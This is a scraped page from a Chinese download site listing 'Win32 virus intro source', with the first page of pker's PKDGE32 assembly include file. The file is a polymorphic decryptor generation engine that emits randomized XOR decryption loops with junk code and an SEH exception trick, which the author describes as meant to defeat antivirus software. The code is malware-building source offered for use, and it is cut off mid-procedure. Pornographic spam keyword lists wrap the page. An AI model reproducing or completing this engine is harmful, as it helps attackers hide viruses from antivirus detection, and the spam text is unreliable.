亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? pkdge32.inc

?? Win32病毒入門源碼
?? INC
?? 第 1 頁 / 共 3 頁
字號:
;
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
; ======================================================
;
;
; Description
; -----------
;
; I wanted to code a polymorphic engine when I first started coding this.  Then
; I got the idea of generating decrypt code dynamically instead of morphing the
; original decrypt code.  The generated  decryptor uses random registerz,  with
; junk code inserted,  and it's  instruction-permutable.  When coding,  I found
; that the name  'decrypt generation engine'  is more  appropriate than a poly-
; morphic engine, so I renamed it to PKDBE32.
;
; Generally, the decrypt code looks like the following:
;
;                   mov     Rw,offset code2decrypt      ; (1)
;                   mov     Rz,decrypt_size             ; (2)
; decrypt_loop:     xor     byte [Rw],imm8              ; (3)
;                   inc     Rw                          ; (4)
;                   dec     Rz                          ; (5)
;                   jnz     decrypt_loop                ; (6)
;
; As we can see,  I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
; this  means  the we can use random registerz in the decrypt code.  The engine
; can  select  random  registerz to generate each instruction.  Meanwhile,  the
; first 2  instructionz are  permutable,  so the engine will put the 2 instruc-
; tionz in a random order.  Also,  we know that some of the instructionz can be
; replaced by other instructionz that performed the same.  For example,  we can
; use PUSH/POP to replace MOV XXX/XXX, etc.  Last but important, is, the engine
; will insert junk codez after each instructionz.
;
; One more thing, the engine setup a SEH frame before the decrypt code in order
; to fuck some AVsoftz.  And of course,  there're also junk codez between these
; instructionz.
;
; The SEH frame's like the following code:
;
; start:            call    setup_seh                   ; (1)
;                   mov     esp,[esp+8]                 ; (2)
;                   jmp     end_seh                     ; (3)
; setup_seh:        xor     Rx,Rx                       ; (4)
;                   push    dword [fs:Rx]               ; (5)
;                   mov     [fs:Rx],esp                 ; (6)
;                   dec     dword [Rx]                  ; (7)
;                   jmp     start                       ; (8)
; end_seh:          xor     Ry,Ry                       ; (9)
;                   pop     dword [fs:Ry]               ; (10)
;                   pop     Rz                          ; (11)
;
; Then comes the real decrypt code (generated by this engine).
;
;
; How to use it?
; --------------
;
; This engine can compile with FASM, TASM and MASM, etc.
;
; When using FASM we can:
;
; decryptor: times 40h      db      90h
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed          dd          ?
;
; gen_decrytpor:    mov     edi,decryptor
;                   mov     esi,rng_seed
;                   mov     ebx,crypt_code
;                   mov     ecx,crypted_size
;                   mov     edx,9ah
;                   call    __pkdge32
;
; When using TASM or MASM we should:
;
; decryptor         db      40h dup (90h)
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed          dd          ?
;
; gen_decrytpor:    mov     edi,offset decryptor
;                   mov     esi,offset rng_seed
;                   mov     ebx,offset crypt_code
;                   mov     ecx,crypted_size
;                   mov     edx,9ah
;                   call    __pkdge32
;
; One more feature, the engine returns the address of the code2decrypt field in
; the decryptor,  so we can fix this value after generating the decryptor. This
; means  we  can replace the code which to be decrypt anywhere after generating
; the  decrypt  code.  We can replace our code which to be decrypted just after
; the decryptor, without padding so many NOPz between them :P
;
; We could code like this:
;
; col_code: times crypted_size+200h    db   0
;
; gen_decrytpor:    mov     edi,col_code
;                   mov     esi,rng_seed
;                   mov     ecx,crypted_size
;                   mov     ebx,12345678h
;                   mov     edx,12345678h
;                   call    __pkdge32
; fix_address:      mov     esi,edi
;                   xchg    eax,edi
;                   stosd
;                   xchg    esi,edi
; copy_code:        mov     esi,crypt_code
;                   mov     ecx,crypted_size
;                   rep     movsb
;
; Well, enjoy it!
;
;
; Copyright
; ---------
;
; (c) 2004. No rightz reserved. Use without permission :P.
;


;
; __pkdge32 procedure
; ===================
;
;
; Description
; -----------
;
; This  is  the main procedure of the engine.  It controlz the whole generation
; process,  including SEH setup, instruction  generation,  junk code insertion,
; etc.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       ecx --- decrypt buffer size (counter in bytez)
;       edx --- decrypt key
;       edi --- pointz to the buffer to save decryptor
;       ebx --- pointz to the buffer where saved the encrypted code
;       esi --- pointz to the RNG seed buffer
;
; Output:
;       edi --- the end of the decryptor
;       eax --- pointz  to  the  address of the code which will be decrypted in
;               the  decryptor,  this means we can place the code which will be
;               decrypted anywhere by fixing the value pointed by EAX
;

__pkdge32:      pushad
                xor     ebp,ebp
                xchg    esi,edi                 ; initialize the RNG seed
                call    __randomize             ; ...
                xchg    esi,edi                 ; ...

;
; First,  we select four random  registerz for later use.  These four registerz
; are all different
;

                xor     ebx,ebx                 ; used to save Rw, Rz, Rx, Ry
                call    pkdg_sel_reg
                or      bl,al
                call    pkdg_sel_reg
                shl     ebx,4
                or      bl,al
                call    pkdg_sel_reg
                shl     ebx,4
                or      bl,al
                call    pkdg_sel_reg
                shl     ebx,4
                or      bl,al

;
; We setup a SEH frame, then we raise an exception and run the following codez.
; This action may fuck some of the AVsoftz.
;

                push    edi
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,0e8h                 ; seh instruction 1
                stosb                           ; ...
                stosd                           ; addr 1, no matter what, fix l8r
                push    edi                     ; save addr1 to fix
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,0824648bh           ; seh instruction 2
                stosd                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,0ebh                 ; seh instruction 3
                stosb                           ; ...
                stosb                           ; addr 2, no matter what, fix l8r
                push    edi                     ; save addr2 to fix
                mov     eax,[esp+4]             ; fix addr1
                xchg    edi,eax                 ; ...
                sub     eax,edi                 ; ...
                sub     edi,4                   ; ...
                stosd                           ; ...
                add     edi,eax                 ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     ah,bl                   ; seh instruction 4
                and     ah,7                    ; ...
                or      eax,0c031h              ; ...
                push    ebx                     ; ...
                and     ebx,7                   ; ...
                shl     ebx,11                  ; ...
                or      eax,ebx                 ; ...
                pop     ebx                     ; ...
                stosw                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,0ff64h              ; seh instruction 5
                stosw                           ; ...
                mov     al,bl                   ; ...
                and     eax,7                   ; ...
                or      al,30h                  ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,8964h               ; seh instruction 6
                stosw                           ; ...
                mov     al,bl                   ; ...
                and     eax,7                   ; ...
                or      al,20h                  ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     ah,bl                   ; seh instruction 7
                and     eax,700h                ; ...
                or      eax,08ffh               ; ...
                stosw                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,0ebh                 ; seh instruction 8
                stosb                           ; ...
                mov     eax,[esp+8]             ; ...
                sub     eax,edi                 ; ...
                dec     eax                     ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                pop     eax                     ; fix addr2
                xchg    eax,edi                 ; ...
                sub     eax,edi                 ; ...
                dec     edi                     ; ...
                stosb                           ; ...
                add     edi,eax                 ; ...
                mov     ah,bh                   ; seh instruction 9
                and     eax,700h                ; ...
                or      eax,0c031h              ; ...
                push    ebx                     ; ...
                and     ebx,700h                ; ...
                shl     ebx,3                   ; ...
                or      eax,ebx                 ; ...
                pop     ebx                     ; ...
                stosw                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,8f64h               ; seh instruction 10
                stosw                           ; ...
                mov     al,bh                   ; ...
                and     eax,7                   ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,bh                   ; seh instruction 11
                and     al,7                    ; ...
                or      al,58h                  ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                add     esp,8                   ; balance the stack

;
; Now,  generate the first two  instructionz with junk codez between them,  and
; permute the two instructionz in a random order.
;

                mov     ecx,2
                call    __random_rdtsc
                or      ecx,ecx
                jz      pkdg_gen_12
                call    pkdg_gen_1
                call    pkdg_gen_2
                jmp     pkdg_gen_f2f
pkdg_gen_12:    call    pkdg_gen_2
                call    pkdg_gen_1

;
; The last step, we generate the last four instructionz with junk codez in them
; these  four  instructionz must in the same order,  but the registerz they use
; are still random
;

pkdg_gen_f2f:   mov     esi,[esp+4]             ; restore ESI
                push    edi                     ; save loop address

                push    esi
                mov     eax,ebx                 ; xor byte [Rw],Imm8
                shr     eax,12                  ; ...
                and     al,7                    ; ...
                mov     esi,[esp+28]            ; ...
                call    __pkdge32_gen_xor_reg_imm
                pop     esi
                xor     eax,eax

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
另类专区欧美蜜桃臀第一页| 久久精品99久久久| 欧美妇女性影城| 国产一区二区三区免费观看| 亚洲欧美综合另类在线卡通| 欧美裸体bbwbbwbbw| 91网站在线观看视频| 免费观看91视频大全| 国产精品免费久久| 日韩视频一区二区三区| 久久久久久久一区| 欧美电影一区二区| 91蜜桃传媒精品久久久一区二区| 激情图片小说一区| 日本欧美在线看| 国产人成亚洲第一网站在线播放| 欧美三级中文字| 91美女视频网站| 不卡一区在线观看| 成人午夜大片免费观看| 国产电影一区二区三区| 精品综合免费视频观看| 激情av综合网| 国产不卡免费视频| 成人高清视频免费观看| 9色porny自拍视频一区二区| 91老师片黄在线观看| 91精品办公室少妇高潮对白| 日本高清不卡一区| 欧美日韩一区中文字幕| 91精品国产免费| 日韩精品一区二区在线| 欧美一区二区黄| 制服丝袜中文字幕亚洲| 日韩女优视频免费观看| 精品久久久久99| 日本一区二区综合亚洲| 久久一区二区三区四区| 亚洲天堂中文字幕| 一区二区三区中文字幕精品精品 | 色乱码一区二区三区88| 色婷婷久久久综合中文字幕| 欧美在线综合视频| 日韩欧美国产电影| 国产精品乱码久久久久久| 国产精品国产三级国产专播品爱网 | 久久精品国产一区二区| 波多野结衣中文一区| 欧美综合欧美视频| 欧美一级欧美三级在线观看| 久久久久久久久免费| 国产精品乱人伦中文| 日韩精品视频网站| 成人精品视频一区二区三区| 欧美高清一级片在线| 国产精品久久久一本精品| 喷水一区二区三区| 91蜜桃婷婷狠狠久久综合9色| 精品国产乱码久久久久久1区2区 | 国产毛片精品一区| 欧美电影影音先锋| 亚洲一区二区在线观看视频 | 成人精品在线视频观看| 久久先锋资源网| 日本强好片久久久久久aaa| 欧美午夜精品一区二区三区| 在线不卡中文字幕播放| 一区二区三区日韩| 成人不卡免费av| 欧美极品xxx| 国产91色综合久久免费分享| 亚洲精品在线观| 日韩av电影免费观看高清完整版在线观看| 99在线精品免费| 国产精品乱码一区二区三区软件 | 国产精一区二区三区| 精品久久久久久综合日本欧美| 日本欧美大码aⅴ在线播放| 日韩欧美亚洲一区二区| 麻豆极品一区二区三区| 欧美大片免费久久精品三p| 国内精品自线一区二区三区视频| 欧美一区二区美女| 国产在线精品视频| 欧美—级在线免费片| 色综合视频在线观看| 亚洲愉拍自拍另类高清精品| 欧美精品久久天天躁| 奇米影视7777精品一区二区| 久久精品人人爽人人爽| 97精品电影院| 麻豆高清免费国产一区| 中文字幕第一区二区| 91精品国产综合久久久久久 | 久久精品国产第一区二区三区| 久久免费看少妇高潮| 91片黄在线观看| 国产美女久久久久| 一区二区不卡在线播放| 久久久久久久综合| 色哟哟一区二区三区| 六月丁香婷婷久久| 亚洲欧美国产三级| 久久久电影一区二区三区| 欧美性大战久久久久久久蜜臀| 国产一区二区按摩在线观看| 一区二区三区精品视频| 国产精品污污网站在线观看| 日韩精品一区二区三区中文不卡 | 2021中文字幕一区亚洲| 日本高清成人免费播放| 国产一区二区伦理片| 蜜桃av一区二区三区电影| 亚洲美女屁股眼交3| 亚洲欧洲色图综合| 亚洲国产精品av| 欧美极品少妇xxxxⅹ高跟鞋 | 国产成人av一区二区| 亚洲一二三四在线观看| 一区二区三区免费网站| 中文乱码免费一区二区| 国产精品嫩草影院com| 久久精品人人做人人综合| 国产精品美女久久久久aⅴ| 国产精品每日更新| 亚洲欧洲色图综合| 最新国产成人在线观看| 国产精品网友自拍| 亚洲欧洲性图库| 综合中文字幕亚洲| 丝袜美腿高跟呻吟高潮一区| 日韩经典一区二区| 韩国三级中文字幕hd久久精品| 国产老肥熟一区二区三区| 国产乱码精品一品二品| 成人永久免费视频| 欧美性视频一区二区三区| 91精品国产91久久综合桃花| 91精品一区二区三区久久久久久 | 国产日产欧美一区二区视频| 一区在线播放视频| 日产国产高清一区二区三区| 国产一区二区伦理| 欧美三级日韩三级| www久久久久| 亚洲精品伦理在线| 另类人妖一区二区av| 欧美影视一区在线| 久久久91精品国产一区二区精品| 亚洲精品成人悠悠色影视| 日本亚洲三级在线| 99精品欧美一区二区蜜桃免费| 欧美顶级少妇做爰| 亚洲视频中文字幕| 久久99精品国产麻豆婷婷洗澡| 在线亚洲+欧美+日本专区| 精品成人一区二区三区四区| 亚洲一区二区三区四区不卡| 国产一区二区三区在线观看免费视频 | 蜜乳av一区二区| 91国偷自产一区二区使用方法| 精品久久久影院| 亚洲一区二区欧美| 国产不卡免费视频| 久久九九久精品国产免费直播| 亚洲成av人片| 欧美福利视频一区| 性久久久久久久久| 欧美日韩精品一区二区天天拍小说| 中文字幕国产精品一区二区| 美洲天堂一区二卡三卡四卡视频| 欧美日韩亚洲国产综合| 一区二区在线观看av| 欧美三级一区二区| 日韩av一区二区三区四区| 在线不卡的av| 国内外精品视频| 久久精品在这里| 色综合色狠狠综合色| 亚洲狠狠丁香婷婷综合久久久| 欧美专区日韩专区| 亚洲黄一区二区三区| 欧美在线你懂得| 亚洲成国产人片在线观看| 欧美日韩成人激情| 国产米奇在线777精品观看| 国产精品乱人伦| 欧美日韩国产美| 国产美女主播视频一区| 欧美经典一区二区| 欧美日韩国产首页在线观看| 老司机免费视频一区二区三区| 国产清纯在线一区二区www| 欧美日免费三级在线| 久久精品国产亚洲a| 一级特黄大欧美久久久| 日韩欧美二区三区| 欧洲国内综合视频| 国内一区二区视频| 亚洲午夜av在线|